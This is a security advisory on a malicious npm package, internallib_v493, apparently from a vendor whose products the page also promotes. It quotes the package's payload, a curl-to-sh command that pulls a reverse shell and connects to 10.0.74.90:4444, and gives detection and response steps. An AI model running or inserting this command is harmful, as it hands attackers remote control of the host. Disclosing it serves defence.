internallib_v493npm
Malicious code in internallib_v493 (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's sole exported function command() in index.js executes /bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh", fetching a reverse-shell script from reverse-shell.sh and piping it directly to sh to establish a connection back to 10.0.74.90 on port 4444. The package has no other functionality — its only advertised export is the backdoor. The package name (internallib_v493) and placeholder metadata (empty author, generic description) are consistent with a dependency-confusion / internal-name-squatting lure targeting organizations with private packages of similar names. A typo in the source (reuquire instead of require) means the payload throws on load in its current form, but the malicious intent is unambiguous and a corrected republish would fire immediately on any caller invoking the export.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v493 (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v493 across your stack and pipelines.
If you installed it — respond
internallib_v493 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v493 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v493 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v493-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.